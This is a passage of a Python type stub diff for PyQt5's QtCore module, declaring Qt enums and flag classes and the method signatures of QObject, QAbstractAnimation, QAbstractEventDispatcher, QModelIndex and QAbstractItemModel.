WA_X11NetWmWindowTypeToolBar = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeMenu = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeUtility = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeSplash = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeDialog = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeDropDownMenu = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypePopupMenu = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeToolTip = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeNotification = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeCombo = ... # type: Qt.WidgetAttribute + WA_X11NetWmWindowTypeDND = ... # type: Qt.WidgetAttribute + WA_MacFrameworkScaled = ... # type: Qt.WidgetAttribute + WA_TranslucentBackground = ... # type: Qt.WidgetAttribute + WA_AcceptTouchEvents = ... # type: Qt.WidgetAttribute + WA_TouchPadAcceptSingleTouchEvents = ... # type: Qt.WidgetAttribute + WA_X11DoNotAcceptFocus = ... # type: Qt.WidgetAttribute + WA_MacNoShadow = ... # type: Qt.WidgetAttribute + WA_AlwaysStackOnTop = ... # type: Qt.WidgetAttribute + WA_TabletTracking = ... # type: Qt.WidgetAttribute + WA_ContentsMarginsRespectsSafeArea = ... # type: Qt.WidgetAttribute + WA_StyleSheetTarget = ... # type: Qt.WidgetAttribute + + class WindowState(int): + WindowNoState = ... # type: Qt.WindowState + WindowMinimized = ... # type: Qt.WindowState + WindowMaximized = ... # type: Qt.WindowState + WindowFullScreen = ... # type: Qt.WindowState + WindowActive = ... # type: Qt.WindowState + + class WindowType(int): + Widget = ... # type: Qt.WindowType + Window = ... # type: Qt.WindowType + Dialog = ... # type: Qt.WindowType + Sheet = ... # type: Qt.WindowType + Drawer = ... # type: Qt.WindowType + Popup = ... # type: Qt.WindowType + Tool = ... # type: Qt.WindowType + ToolTip = ... # type: Qt.WindowType + SplashScreen = ... # type: Qt.WindowType + Desktop = ... # type: Qt.WindowType + SubWindow = ... # type: Qt.WindowType + WindowType_Mask = ... # type: Qt.WindowType + MSWindowsFixedSizeDialogHint = ... # type: Qt.WindowType + MSWindowsOwnDC = ... # type: Qt.WindowType + X11BypassWindowManagerHint = ... # type: Qt.WindowType + FramelessWindowHint = ... # type: Qt.WindowType + CustomizeWindowHint = ... # type: Qt.WindowType + WindowTitleHint = ... # type: Qt.WindowType + WindowSystemMenuHint = ... # type: Qt.WindowType + WindowMinimizeButtonHint = ... # type: Qt.WindowType + WindowMaximizeButtonHint = ... # type: Qt.WindowType + WindowMinMaxButtonsHint = ... # type: Qt.WindowType + WindowContextHelpButtonHint = ... # type: Qt.WindowType + WindowShadeButtonHint = ... # type: Qt.WindowType + WindowStaysOnTopHint = ... # type: Qt.WindowType + WindowStaysOnBottomHint = ... # type: Qt.WindowType + WindowCloseButtonHint = ... # type: Qt.WindowType + MacWindowToolBarButtonHint = ... # type: Qt.WindowType + BypassGraphicsProxyWidget = ... # type: Qt.WindowType + WindowTransparentForInput = ... # type: Qt.WindowType + WindowOverridesSystemGestures = ... # type: Qt.WindowType + WindowDoesNotAcceptFocus = ... # type: Qt.WindowType + NoDropShadowWindowHint = ... # type: Qt.WindowType + WindowFullscreenButtonHint = ... # type: Qt.WindowType + ForeignWindow = ... # type: Qt.WindowType + BypassWindowManagerHint = ... # type: Qt.WindowType + CoverWindow = ... # type: Qt.WindowType + MaximizeUsingFullscreenGeometryHint = ... # type: Qt.WindowType + + class TextElideMode(int): + ElideLeft = ... # type: Qt.TextElideMode + ElideRight = ... # type: Qt.TextElideMode + ElideMiddle = ... # type: Qt.TextElideMode + ElideNone = ... # type: Qt.TextElideMode + + class TextFlag(int): + TextSingleLine = ... # type: Qt.TextFlag + TextDontClip = ... # type: Qt.TextFlag + TextExpandTabs = ... # type: Qt.TextFlag + TextShowMnemonic = ... # type: Qt.TextFlag + TextWordWrap = ... # type: Qt.TextFlag + TextWrapAnywhere = ... # type: Qt.TextFlag + TextDontPrint = ... # type: Qt.TextFlag + TextIncludeTrailingSpaces = ... # type: Qt.TextFlag + TextHideMnemonic = ... # type: Qt.TextFlag + TextJustificationForced = ... # type: Qt.TextFlag + + class AlignmentFlag(int): + AlignLeft = ... # type: Qt.AlignmentFlag + AlignLeading = ... # type: Qt.AlignmentFlag + AlignRight = ... # type: Qt.AlignmentFlag + AlignTrailing = ... # type: Qt.AlignmentFlag + AlignHCenter = ... # type: Qt.AlignmentFlag + AlignJustify = ... # type: Qt.AlignmentFlag + AlignAbsolute = ... # type: Qt.AlignmentFlag + AlignHorizontal_Mask = ... # type: Qt.AlignmentFlag + AlignTop = ... # type: Qt.AlignmentFlag + AlignBottom = ... # type: Qt.AlignmentFlag + AlignVCenter = ... # type: Qt.AlignmentFlag + AlignVertical_Mask = ... # type: Qt.AlignmentFlag + AlignCenter = ... # type: Qt.AlignmentFlag + AlignBaseline = ... # type: Qt.AlignmentFlag + + class SortOrder(int): + AscendingOrder = ... # type: Qt.SortOrder + DescendingOrder = ... # type: Qt.SortOrder + + class FocusPolicy(int): + NoFocus = ... # type: Qt.FocusPolicy + TabFocus = ... # type: Qt.FocusPolicy + ClickFocus = ... # type: Qt.FocusPolicy + StrongFocus = ... # type: Qt.FocusPolicy + WheelFocus = ... # type: Qt.FocusPolicy + + class Orientation(int): + Horizontal = ... # type: Qt.Orientation + Vertical = ... # type: Qt.Orientation + + class MouseButton(int): + NoButton = ... # type: Qt.MouseButton + AllButtons = ... # type: Qt.MouseButton + LeftButton = ... # type: Qt.MouseButton + RightButton = ... # type: Qt.MouseButton + MidButton = ... # type: Qt.MouseButton + MiddleButton = ... # type: Qt.MouseButton + XButton1 = ... # type: Qt.MouseButton + XButton2 = ... # type: Qt.MouseButton + BackButton = ... # type: Qt.MouseButton + ExtraButton1 = ... # type: Qt.MouseButton + ForwardButton = ... # type: Qt.MouseButton + ExtraButton2 = ... # type: Qt.MouseButton + TaskButton = ... # type: Qt.MouseButton + ExtraButton3 = ... # type: Qt.MouseButton + ExtraButton4 = ... # type: Qt.MouseButton + ExtraButton5 = ... # type: Qt.MouseButton + ExtraButton6 = ... # type: Qt.MouseButton + ExtraButton7 = ... # type: Qt.MouseButton + ExtraButton8 = ... # type: Qt.MouseButton + ExtraButton9 = ... # type: Qt.MouseButton + ExtraButton10 = ... # type: Qt.MouseButton + ExtraButton11 = ... # type: Qt.MouseButton + ExtraButton12 = ... # type: Qt.MouseButton + ExtraButton13 = ... # type: Qt.MouseButton + ExtraButton14 = ... # type: Qt.MouseButton + ExtraButton15 = ... # type: Qt.MouseButton + ExtraButton16 = ... # type: Qt.MouseButton + ExtraButton17 = ... # type: Qt.MouseButton + ExtraButton18 = ... # type: Qt.MouseButton + ExtraButton19 = ... # type: Qt.MouseButton + ExtraButton20 = ... # type: Qt.MouseButton + ExtraButton21 = ... # type: Qt.MouseButton + ExtraButton22 = ... # type: Qt.MouseButton + ExtraButton23 = ... # type: Qt.MouseButton + ExtraButton24 = ... # type: Qt.MouseButton + + class Modifier(int): + META = ... # type: Qt.Modifier + SHIFT = ... # type: Qt.Modifier + CTRL = ... # type: Qt.Modifier + ALT = ... # type: Qt.Modifier + MODIFIER_MASK = ... # type: Qt.Modifier + UNICODE_ACCEL = ... # type: Qt.Modifier + + class KeyboardModifier(int): + NoModifier = ... # type: Qt.KeyboardModifier + ShiftModifier = ... # type: Qt.KeyboardModifier + ControlModifier = ... # type: Qt.KeyboardModifier + AltModifier = ... # type: Qt.KeyboardModifier + MetaModifier = ... # type: Qt.KeyboardModifier + KeypadModifier = ... # type: Qt.KeyboardModifier + GroupSwitchModifier = ... # type: Qt.KeyboardModifier + KeyboardModifierMask = ... # type: Qt.KeyboardModifier + + class GlobalColor(int): + color0 = ... # type: Qt.GlobalColor + color1 = ... # type: Qt.GlobalColor + black = ... # type: Qt.GlobalColor + white = ... # type: Qt.GlobalColor + darkGray = ... # type: Qt.GlobalColor + gray = ... # type: Qt.GlobalColor + lightGray = ... # type: Qt.GlobalColor + red = ... # type: Qt.GlobalColor + green = ... # type: Qt.GlobalColor + blue = ... # type: Qt.GlobalColor + cyan = ... # type: Qt.GlobalColor + magenta = ... # type: Qt.GlobalColor + yellow = ... # type: Qt.GlobalColor + darkRed = ... # type: Qt.GlobalColor + darkGreen = ... # type: Qt.GlobalColor + darkBlue = ... # type: Qt.GlobalColor + darkCyan = ... # type: Qt.GlobalColor + darkMagenta = ... # type: Qt.GlobalColor + darkYellow = ... # type: Qt.GlobalColor + transparent = ... # type: Qt.GlobalColor + + class KeyboardModifiers(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.KeyboardModifiers', 'Qt.KeyboardModifier']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.KeyboardModifiers') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.KeyboardModifiers': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class MouseButtons(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.MouseButtons', 'Qt.MouseButton']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.MouseButtons') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.MouseButtons': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class Orientations(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.Orientations', 'Qt.Orientation']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.Orientations') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.Orientations': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class Alignment(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.Alignment', 'Qt.AlignmentFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.Alignment') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.Alignment': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class WindowFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.WindowFlags', 'Qt.WindowType']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.WindowFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.WindowFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class WindowStates(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.WindowStates', 'Qt.WindowState']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.WindowStates') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.WindowStates': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class ImageConversionFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.ImageConversionFlags', 'Qt.ImageConversionFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.ImageConversionFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.ImageConversionFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class DockWidgetAreas(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.DockWidgetAreas', 'Qt.DockWidgetArea']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.DockWidgetAreas') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.DockWidgetAreas': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class ToolBarAreas(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.ToolBarAreas', 'Qt.ToolBarArea']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.ToolBarAreas') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.ToolBarAreas': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class InputMethodQueries(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.InputMethodQueries', 'Qt.InputMethodQuery']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.InputMethodQueries') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.InputMethodQueries': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class DropActions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.DropActions', 'Qt.DropAction']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.DropActions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.DropActions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class ItemFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.ItemFlags', 'Qt.ItemFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.ItemFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.ItemFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class MatchFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.MatchFlags', 'Qt.MatchFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.MatchFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.MatchFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class TextInteractionFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.TextInteractionFlags', 'Qt.TextInteractionFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.TextInteractionFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.TextInteractionFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class InputMethodHints(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.InputMethodHints', 'Qt.InputMethodHint']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.InputMethodHints') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.InputMethodHints': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class TouchPointStates(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.TouchPointStates', 'Qt.TouchPointState']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.TouchPointStates') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.TouchPointStates': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class GestureFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.GestureFlags', 'Qt.GestureFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.GestureFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.GestureFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class ScreenOrientations(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.ScreenOrientations', 'Qt.ScreenOrientation']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.ScreenOrientations') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.ScreenOrientations': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class FindChildOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.FindChildOptions', 'Qt.FindChildOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.FindChildOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.FindChildOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class ApplicationStates(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.ApplicationStates', 'Qt.ApplicationState']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.ApplicationStates') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.ApplicationStates': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class Edges(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.Edges', 'Qt.Edge']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.Edges') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.Edges': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class MouseEventFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['Qt.MouseEventFlags', 'Qt.MouseEventFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'Qt.MouseEventFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'Qt.MouseEventFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + +class QObject(PyQt5.sip.wrapper): + + staticMetaObject = ... # type: 'QMetaObject' + + def __init__(self, parent: typing.Optional['QObject'] = ...) -> None: ... + + @typing.overload + @staticmethod + def disconnect(a0: 'QMetaObject.Connection') -> bool: ... + @typing.overload + def disconnect(self) -> None: ... + def isSignalConnected(self, signal: 'QMetaMethod') -> bool: ... + def senderSignalIndex(self) -> int: ... + def disconnectNotify(self, signal: 'QMetaMethod') -> None: ... + def connectNotify(self, signal: 'QMetaMethod') -> None: ... + def customEvent(self, a0: 'QEvent') -> None: ... + def childEvent(self, a0: 'QChildEvent') -> None: ... + def timerEvent(self, a0: 'QTimerEvent') -> None: ... + def receivers(self, signal: PYQT_SIGNAL) -> int: ... + def sender(self) -> 'QObject': ... + def deleteLater(self) -> None: ... + def inherits(self, classname: str) -> bool: ... + def parent(self) -> 'QObject': ... + def objectNameChanged(self, objectName: str) -> None: ... + def destroyed(self, object: typing.Optional['QObject'] = ...) -> None: ... + def property(self, name: str) -> typing.Any: ... + def setProperty(self, name: str, value: typing.Any) -> bool: ... + def dynamicPropertyNames(self) -> typing.List['QByteArray']: ... + def dumpObjectTree(self) -> None: ... + def dumpObjectInfo(self) -> None: ... + def removeEventFilter(self, a0: 'QObject') -> None: ... + def installEventFilter(self, a0: 'QObject') -> None: ... + def setParent(self, a0: 'QObject') -> None: ... + def children(self) -> typing.List['QObject']: ... + def killTimer(self, id: int) -> None: ... + def startTimer(self, interval: int, timerType: Qt.TimerType = ...) -> int: ... + def moveToThread(self, thread: 'QThread') -> None: ... + def thread(self) -> 'QThread': ... + def blockSignals(self, b: bool) -> bool: ... + def signalsBlocked(self) -> bool: ... + def isWindowType(self) -> bool: ... + def isWidgetType(self) -> bool: ... + def setObjectName(self, name: str) -> None: ... + def objectName(self) -> str: ... + @typing.overload + def findChildren(self, type: type, name: str = ..., options: typing.Union[Qt.FindChildOptions, Qt.FindChildOption] = ...) -> typing.List['QObject']: ... + @typing.overload + def findChildren(self, types: typing.Tuple, name: str = ..., options: typing.Union[Qt.FindChildOptions, Qt.FindChildOption] = ...) -> typing.List['QObject']: ... + @typing.overload + def findChildren(self, type: type, regExp: 'QRegExp', options: typing.Union[Qt.FindChildOptions, Qt.FindChildOption] = ...) -> typing.List['QObject']: ... + @typing.overload + def findChildren(self, types: typing.Tuple, regExp: 'QRegExp', options: typing.Union[Qt.FindChildOptions, Qt.FindChildOption] = ...) -> typing.List['QObject']: ... + @typing.overload + def findChildren(self, type: type, re: 'QRegularExpression', options: typing.Union[Qt.FindChildOptions, Qt.FindChildOption] = ...) -> typing.List['QObject']: ... + @typing.overload + def findChildren(self, types: typing.Tuple, re: 'QRegularExpression', options: typing.Union[Qt.FindChildOptions, Qt.FindChildOption] = ...) -> typing.List['QObject']: ... + @typing.overload + def findChild(self, type: type, name: str = ..., options: typing.Union[Qt.FindChildOptions, Qt.FindChildOption] = ...) -> 'QObject': ... + @typing.overload + def findChild(self, types: typing.Tuple, name: str = ..., options: typing.Union[Qt.FindChildOptions, Qt.FindChildOption] = ...) -> 'QObject': ... + def tr(self, sourceText: str, disambiguation: typing.Optional[str] = ..., n: int = ...) -> str: ... + def eventFilter(self, a0: 'QObject', a1: 'QEvent') -> bool: ... + def event(self, a0: 'QEvent') -> bool: ... + def pyqtConfigure(self, a0: typing.Any) -> None: ... + def metaObject(self) -> 'QMetaObject': ... + + +class QAbstractAnimation(QObject): + + class DeletionPolicy(int): + KeepWhenStopped = ... # type: QAbstractAnimation.DeletionPolicy + DeleteWhenStopped = ... # type: QAbstractAnimation.DeletionPolicy + + class State(int): + Stopped = ... # type: QAbstractAnimation.State + Paused = ... # type: QAbstractAnimation.State + Running = ... # type: QAbstractAnimation.State + + class Direction(int): + Forward = ... # type: QAbstractAnimation.Direction + Backward = ... # type: QAbstractAnimation.Direction + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def updateDirection(self, direction: 'QAbstractAnimation.Direction') -> None: ... + def updateState(self, newState: 'QAbstractAnimation.State', oldState: 'QAbstractAnimation.State') -> None: ... + def updateCurrentTime(self, currentTime: int) -> None: ... + def event(self, event: 'QEvent') -> bool: ... + def setCurrentTime(self, msecs: int) -> None: ... + def stop(self) -> None: ... + def setPaused(self, a0: bool) -> None: ... + def resume(self) -> None: ... + def pause(self) -> None: ... + def start(self, policy: 'QAbstractAnimation.DeletionPolicy' = ...) -> None: ... + def directionChanged(self, a0: 'QAbstractAnimation.Direction') -> None: ... + def currentLoopChanged(self, currentLoop: int) -> None: ... + def stateChanged(self, newState: 'QAbstractAnimation.State', oldState: 'QAbstractAnimation.State') -> None: ... + def finished(self) -> None: ... + def totalDuration(self) -> int: ... + def duration(self) -> int: ... + def currentLoop(self) -> int: ... + def setLoopCount(self, loopCount: int) -> None: ... + def loopCount(self) -> int: ... + def currentLoopTime(self) -> int: ... + def currentTime(self) -> int: ... + def setDirection(self, direction: 'QAbstractAnimation.Direction') -> None: ... + def direction(self) -> 'QAbstractAnimation.Direction': ... + def group(self) -> 'QAnimationGroup': ... + def state(self) -> 'QAbstractAnimation.State': ... + + +class QAbstractEventDispatcher(QObject): + + class TimerInfo(sip.simplewrapper): + + interval = ... # type: int + timerId = ... # type: int + timerType = ... # type: Qt.TimerType + + @typing.overload + def __init__(self, id: int, i: int, t: Qt.TimerType) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractEventDispatcher.TimerInfo') -> None: ... + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def awake(self) -> None: ... + def aboutToBlock(self) -> None: ... + def filterNativeEvent(self, eventType: typing.Union['QByteArray', bytes, bytearray], message: PyQt5.sip.voidptr) -> typing.Tuple[bool, int]: ... + def unregisterEventNotifier(self, notifier: 'QWinEventNotifier') -> None: ... + def registerEventNotifier(self, notifier: 'QWinEventNotifier') -> bool: ... + def removeNativeEventFilter(self, filterObj: 'QAbstractNativeEventFilter') -> None: ... + def installNativeEventFilter(self, filterObj: 'QAbstractNativeEventFilter') -> None: ... + def remainingTime(self, timerId: int) -> int: ... + def closingDown(self) -> None: ... + def startingUp(self) -> None: ... + def flush(self) -> None: ... + def interrupt(self) -> None: ... + def wakeUp(self) -> None: ... + def registeredTimers(self, object: QObject) -> typing.List['QAbstractEventDispatcher.TimerInfo']: ... + def unregisterTimers(self, object: QObject) -> bool: ... + def unregisterTimer(self, timerId: int) -> bool: ... + @typing.overload + def registerTimer(self, interval: int, timerType: Qt.TimerType, object: QObject) -> int: ... + @typing.overload + def registerTimer(self, timerId: int, interval: int, timerType: Qt.TimerType, object: QObject) -> None: ... + def unregisterSocketNotifier(self, notifier: 'QSocketNotifier') -> None: ... + def registerSocketNotifier(self, notifier: 'QSocketNotifier') -> None: ... + def hasPendingEvents(self) -> bool: ... + def processEvents(self, flags: typing.Union['QEventLoop.ProcessEventsFlags', 'QEventLoop.ProcessEventsFlag']) -> bool: ... + @staticmethod + def instance(thread: typing.Optional['QThread'] = ...) -> 'QAbstractEventDispatcher': ... + + +class QModelIndex(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QModelIndex') -> None: ... + @typing.overload + def __init__(self, a0: 'QPersistentModelIndex') -> None: ... + + def __hash__(self) -> int: ... + def siblingAtRow(self, row: int) -> 'QModelIndex': ... + def siblingAtColumn(self, column: int) -> 'QModelIndex': ... + def sibling(self, arow: int, acolumn: int) -> 'QModelIndex': ... + def parent(self) -> 'QModelIndex': ... + def isValid(self) -> bool: ... + def model(self) -> 'QAbstractItemModel': ... + def internalId(self) -> int: ... + def internalPointer(self) -> typing.Any: ... + def flags(self) -> Qt.ItemFlags: ... + def data(self, role: int = ...) -> typing.Any: ... + def column(self) -> int: ... + def row(self) -> int: ... + def child(self, arow: int, acolumn: int) -> 'QModelIndex': ... + + +class QPersistentModelIndex(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, index: QModelIndex) -> None: ... + @typing.overload + def __init__(self, other: 'QPersistentModelIndex') -> None: ... + + def __hash__(self) -> int: ... + def swap(self, other: 'QPersistentModelIndex') -> None: ... + def isValid(self) -> bool: ... + def model(self) -> 'QAbstractItemModel': ... + def child(self, row: int, column: int) -> QModelIndex: ... + def sibling(self, row: int, column: int) -> QModelIndex: ... + def parent(self) -> QModelIndex: ... + def flags(self) -> Qt.ItemFlags: ... + def data(self, role: int = ...) -> typing.Any: ... + def column(self) -> int: ... + def row(self) -> int: ... + + +class QAbstractItemModel(QObject): + + class CheckIndexOption(int): + NoOption = ... # type: QAbstractItemModel.CheckIndexOption + IndexIsValid = ... # type: QAbstractItemModel.CheckIndexOption + DoNotUseParent = ... # type: QAbstractItemModel.CheckIndexOption + ParentIsInvalid = ... # type: QAbstractItemModel.CheckIndexOption + + class LayoutChangeHint(int): + NoLayoutChangeHint = ... # type: QAbstractItemModel.LayoutChangeHint + VerticalSortHint = ... # type: QAbstractItemModel.LayoutChangeHint + HorizontalSortHint = ... # type: QAbstractItemModel.LayoutChangeHint + + class CheckIndexOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QAbstractItemModel.CheckIndexOptions', 'QAbstractItemModel.CheckIndexOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractItemModel.CheckIndexOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QAbstractItemModel.CheckIndexOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def checkIndex(self, index: QModelIndex, options: typing.Union['QAbstractItemModel.CheckIndexOptions', 'QAbstractItemModel.CheckIndexOption'] = ...) -> bool: ... + def moveColumn(self, sourceParent: QModelIndex, sourceColumn: int, destinationParent: QModelIndex, destinationChild: int) -> bool: ... + def moveRow(self, sourceParent: QModelIndex, sourceRow: int, destinationParent: QModelIndex, destinationChild: int) -> bool: ... + def moveColumns(self, sourceParent: QModelIndex, sourceColumn: int, count: int, destinationParent: QModelIndex, destinationChild: int) -> bool: ... + def moveRows(self, sourceParent: QModelIndex, sourceRow: int, count: int, destinationParent: QModelIndex, destinationChild: int) -> bool: ... + def canDropMimeData(self, data: 'QMimeData', action: Qt.DropAction, row: int, column: int, parent: QModelIndex) -> bool: ... + def resetInternalData(self) -> None: ... + def endResetModel(self) -> None: ... + def beginResetModel(self) -> None: ... + def endMoveColumns(self) -> None: ... + def beginMoveColumns(self, sourceParent: QModelIndex, sourceFirst: int, sourceLast: int, destinationParent: QModelIndex, destinationColumn: int) -> bool: ... + def endMoveRows(self) -> None: ... + def beginMoveRows(self, sourceParent: QModelIndex, sourceFirst: int, sourceLast: int, destinationParent: QModelIndex, destinationRow: int) -> bool: ... + def columnsMoved(self, parent: QModelIndex, start: int, end: int, destination: QModelIndex, column: int) -> None: ... + def columnsAboutToBeMoved(self, sourceParent: QModelIndex, sourceStart: int, sourceEnd: int, destinationParent: QModelIndex, destinationColumn: int) -> None: ... + def rowsMoved(self, parent: QModelIndex, start: int, end: int, destination: QModelIndex, row: int) -> None: ... + def rowsAboutToBeMoved(self, sourceParent: QModelIndex, sourceStart: int, sourceEnd: int, destinationParent: QModelIndex, destinationRow: int) -> None: ... + def createIndex(self, row: int, column: int, object: typing.Any = ...) -> QModelIndex: ... + def roleNames(self) -> typing.Dict[int, 